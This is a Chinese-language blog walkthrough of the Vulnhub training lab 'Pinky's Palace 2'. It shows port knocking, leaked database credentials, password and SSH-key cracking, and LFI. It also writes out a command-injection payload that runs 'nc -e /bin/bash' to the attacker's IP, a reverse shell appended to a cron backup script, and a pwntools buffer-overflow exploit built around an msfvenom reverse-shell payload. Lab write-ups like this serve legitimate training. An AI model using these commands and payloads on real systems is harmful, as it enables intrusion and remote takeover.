• 【甄选靶场】Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目二十七:Pinkys-Palace-2(LFI,端口敲震,ssh爆破,64位缓冲区溢出

    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月30日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、web突破

    信息收集

    发现开启了80和3个关闭的端口,关闭的端口想到端口敲震

    在这里插入图片描述

    对web页面访问,发现这是一个wp站

    在这里插入图片描述

    作者说靶场需要执行命令加一个host:
    echo 192.168.247.158 pinkydb | sudo tee -a /etc/hosts
    

    先用awvs和wpscan扫一下

    在这里插入图片描述
    dirb爆破

    dirb http://pinkydb/ /usr/share/dirb/wordlists/big.txt
    
    

    出来了一个wp的后台登陆页面,接下来想知道账号密码

    在这里插入图片描述
    wpscan扫描

    wpscan --url http://pinkydb/ -eu --api-token FcYxHGcLoHeQBE1dgySYBdHmAaQjynt7iIa1qsRG4fs
    
    

    在这里插入图片描述

    dirb继续爆,发现

    在这里插入图片描述

    http://pinkydb/wp-login.php ----后台登录地址
    http://pinkydb/secret/ ----存在bambam.txt文件

    在这里插入图片描述

    8890 7000 666
    一看这玩意就是端口敲震,那就敲呗
    pinkydb

    但是这个顺序不对,反正一共9种可能,配合上nmap -p- 试试就行

    在这里插入图片描述

    nmap -p4655,7654,31337 192.168.247.158 -A
    4655/tcp  open  ssh     OpenSSH 7.4p1   ---ssh登录
    7654/tcp  open  http    nginx 1.10.3    ---nginx中间件服务
    31337/tcp open  Elite?    这是一个头部信息
    

    接下来又是僵局,只剩下一个ssh爆破或者ngnix的网站服务,先看看好进行的nginx
    在这里插入图片描述

    这里还看到了下面写的31337可能是我们的后门,但是不能访问,就先放着,但估计最后·突破点是这个31337的端口服务

    二次爆破目录

    有了新的web第一件事就是爆破目录
    继续dirb爆破7654端口!

    dirb http://pinkydb:7654/ /usr/share/dirb/wordlists/big.txt
    发现apache目录!
    
    枚举页面:curl http://192.168.247.158:7654/apache/wp-config.php
    
    获取数据库信息
    /** MySQL database username */
    define('DB_USER', 'pinkywp');
    
    /** MySQL database password */
    define('DB_PASSWORD', 'pinkydbpass_wp');
    

    数据库用户名密码泄露!!通过ssh、后台登录页面都无法进入,也未开启3306端口!
    在这里插入图片描述

    稍微捋捋现在有的信息
    一组账号密码:pinkywp pinkydbpass_wp
    还有一个单独的账号 pinky1337
    还有ssh,一个wp的登陆页面,一个nginx的登陆页面(可能可以爆破和sql注入),还有很多的东西在登录到wp之后应该可以提权,ssh可能可以爆破,

    爆破登录

    bp抓包,账号未知,不敢确定之前那个pinky123是账号
    用cewl爬取页面

    cewl http://pinkydb > 1.txt
    

    在这里插入图片描述

    不同的响应码,不同的长度
    爆破成功

    在这里插入图片描述

    看到一个什么玩意的rsa,那就拿这个登录呗

    在这里插入图片描述

    搞到本地

    在这里插入图片描述

    这tm是什么鬼。。。。。。rsa还有密码

    john暴力破解ssh:
    locate ssh2john.py
    /usr/share/john/ssh2john.py id_rsa > rong_rsa     这是把rsa的HASH信息提取出来
    john --wordlist=/usr/share/wordlists/rockyou.txt rong_rsa
    无脑用rockyou即可
    secretz101       (id_rsa)
    成功爆破获得密码信息!
    
    
    

    三、提权

    1.第一台提权

    在这里插入图片描述
    在这里插入图片描述
    看到一个note.txt

    Pinky made me this program so I can easily send messages to him.
    还有一个qsub的64位二进制可执行文件,但是我们没有权限用它,也传不出来,gdb也没有,ls -la发现这个玩意也没啥权限。。。。。那就试试内核提权,那就上传linpeas.sh和les.sh

    在这里插入图片描述

    python -m SimpleHTTPServer 8081
    wget http://192.168.4.171:8081/linpeas.sh
    chmod +x linpeas.sh
    
    1)存在用户:
    demon、pinky、stefano
    2127.0.0.1:3306
    pinkywp
    pinkydbpass_wp
    mysql -upinkywp -ppinkydbpass_wp
    里面也没有啥有用的信息
    

    在这里插入图片描述
    在这里插入图片描述

    然后那个可执行文件执行以下是这样,这肯定是特殊设置了,我熄灭的希望之火又重新燃烧开了。,但是目前没思路了。根据别的大佬写的WP,我发现在这里我忽视了一个点。。。LFI

    LFI利用

    这个url其实很显眼,但是我当时拿到了key我就没管了。所以这个事故告诉我们,少就是多,慢就是快

    在这里插入图片描述

    ?1337=…/…/…/…/…/etc/passwd
    发现可以
    那就访问一下那个qsub文件
    ?1337=/home/stefano/tools/qsub

    在这里插入图片描述在这里插入图片描述

    /bin/echo %s >> /home/pinky/messages/stefano_msg.txt%s TERM[+] Input
    Password: %sBad hacker! Go away![+] Welcome to Question Submit![!]
    Incorrect Password!

    翻译一下,就是把一个什么玩意输入到了一个txt文件,然后密码是TERM好像,然后咋样就输出你是一个坏黑客,或者说欢迎登录

    那基本判断出这里可以远程代码执行,然后密码就是TERM
    但是我构造了这样的一种输入

    ./qsub '$(nc -e /bin/bash 192.168.247.129 9999)'
    

    密码是TERM,
    但是显示我是个坏黑客?
    那就是密码不对应该,因为坏黑客是验证密码环节。咱们一开始的命令没错

    谷歌了一下

    term是终端
    xterm 是图形界面baivirtual terminal

    virtual terminal
    ,是一个协议,一个接bai口,用于在各种连接du环境中提zhi供如同本机控制台dao一样的界面,文字操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。

    在这里插入图片描述

    那密码是这个?我咋这么不相信
    但是,成功了
    当然了本地也要开端口接shell
    nc -vlp 9999

    2.第二台提权

    首先就是手工的信息枚举

    id
    ls -la
    cd ../..
    ls -la
    sudo -l
    find /-perm -4000 2>/dev/null
    find / -name 'pinky' 2>/dev/null |grep -v "Permission Denied/|poc"
    find / -group 'pinky' 2>/dev/null 
    还有好多,我感觉可以写一个命令合集
    然后再跑脚本,只发现了开了3306的数据库口子,但是账号密码我们都拿到了,就没去看
    

    在这里插入图片描述

    首先先看一下上一个机器里面qsub文件输出的东西去哪了,发现是一段话,鼓励

    在这里插入图片描述

    id发现用户权限不足啊,而且很奇怪,可能是自己的权限被隐藏了

    newgrp
    

    在这里插入图片描述

    出来了

    在这里插入图片描述

    最高权限运行的没有

    在这里插入图片描述

    发现了按pinky组权限运行的文件,backup是备份的意思,在linpeas.sh跑都会被标红的那种

    在这里插入图片描述

    ls -la 发现这是个另外一个用户的权限,之前跑脚本也跑出来了还有一个用户,那就先利用这个拿到另外一个用户的shell吧

    看一下这是个什么牛马,简单分析一下就是删除当前压缩包然后再压缩一个包,那这必须是个计划任务,定期备份

    在这里插入图片描述

    我跟个傻子一样直接打开想修改,结果shell不行,我直接头裂。。
    推荐下面的命令

    echo "nc -e /bin/bash 192.168.247.129 6666" >> backup.sh
    两个>是写到尾巴,一个>是覆盖,有时候可能会那个啥
    本地开启6666接shell
    拿到手以后稳定一下
    python -c 'import pty; pty.spawn("/bin/bash")'
    注意,要么就去那个back.sh目录下执行命令,要么就写绝对路径
    我这坑了好久
    

    在这里插入图片描述

    拿到shell了

    crontab -l
    查看一下计划任务
    cron之前写过,就是计划任务
    

    在这里插入图片描述

    确实存在一个五分钟的计划任务

    3.第三台机器提权

    id
    ls -la
    cd ../..
    ls -la
    sudo -l
    find /-perm -4000 2>/dev/null
    find / -name 'demon' 2>/dev/null |grep -v "Permission Denied/|poc"
    find / -group 'demon' 2>/dev/null 
    还有好多,我感觉可以写一个命令合集
    

    在这里插入图片描述
    脚本跑出来的信息,这个panel文件有问题

    16K -rwxr-x--- 1 demon demon  13K Mar 17  2018 /daemon[0m/panel
    -rwxr-x---  1 demon demon 13280 Mar 17  2018 panel
    ps aux | grep panel
    
    发现是root运行,那就妥了,应该是最后一关了
    

    在这里插入图片描述

    nc传文件
    kail执行命令:nc -lvp 4666 > panel
    
    靶机执行命令:nc 192.168.16.143 4666 < panel
    

    缓冲区溢出利用

    1. 先运行一下,看看能干吗

    发现能任意输入
    在这里插入图片描述

    2.查看是否拥有可用于缓冲区溢出的函数
    info functions
    

    在这里插入图片描述

    发现了strcpy函数

    3. gdb 中run一下,看看信息

    在这里插入图片描述

    但是看到了上面这一段信息,看到是一个开进程啥的,这个时候应该想到到目前为止很大嫌疑但是不知道是干嘛的31337端口
    为了验证猜想

    pkill -9 panel; pkill -i panel   --强制关闭文件
    
    netstat -ntulp    查看端口情况
    看到我们也确实开了一个31337端口,那就实锤了,这个文件开启的服务就是31337,那接下来我们要干的事就是在我们本地的31337测试
    

    在这里插入图片描述

    4. 判断能否溢出
    nc -v localhost 31337
    

    输入一堆,发现程序报错

    5.找溢出点
    pkill -9 panel; pkill -i panel  --先关闭,每次执行完最好都强制关一次,防止出错
    gdb中输入pattern_creat 200
    出现如下,找stack(堆)的第一条,注意不要复制/n后面的信息
    然后pattern_offset 【粘贴】
    得到溢出位置是120
    

    在这里插入图片描述
    在这里插入图片描述

    6.验证填充情况
    from pwn import *  --要先pip install pwn装组件
    HOST, PORT = "localhost", 31337
    payload = ''
    payload += 'A'*120
    payload += 'BBBB0000'
    payload += 'C'*30
    
    r = remote(HOST,PORT)
    r.recvuntil("=> ")
    r.sendline(payload)
    

    这里要说一下,因为是64位系统,所以会优先寻找寄存器,所以在做最终payload的时候就不需要B了
    在这里插入图片描述
    但是我们同时也看到python执行有报错,类型不符,这个一会再处理
    在这里插入图片描述

    7.寻找jmp rsp

    在这里插入图片描述
    那么这个地址就是我们放在RIP中的地址,可以跳转到payload

    8. 生成反弹payload

    这里其实是有小小的缺陷的,我没有找坏字符,只是简单的排除了三个肯定是坏字符的坏字符

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.247.129 LPORT=9898 -b '\x00\x0a\x0b' -f python
    

    在这两个刚才报错的前面加个b,代表强制全转成byte

    然后第二个payload之所以这样写是为了用几个A把msf生成的payload剩下的RBP空间填满,不然还会有空的地方,导致RIP的不是JMP RSP

    在这里插入图片描述

    然后运行一下,看到我们的kali没有开外连,所以给shell,然后接下来我们吧py的host改一下,再跑就ok了

    在这里插入图片描述

  • 相关阅读:
    从C语言到C++:C++入门知识(2)
    dubbo(2):zookeeper和dubbo-admin的安装
    刷题笔记之三(统计回文+连续最大和+查找组成一个偶数最接近的两个素数+把字符串转换成整数+不要二)
    Mall脚手架总结(一)——SpringSecurity实现鉴权认证
    工程化面试题汇总
    高质量测试的12个步骤
    Python Web开发记录 Day11:Django part5 管理员管理
    SRP:单一职责原则
    【fairseq】RuntimeError: Unrecognized tensor type ID: AutogradCUDA
    MariaDB落幕和思考
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127107620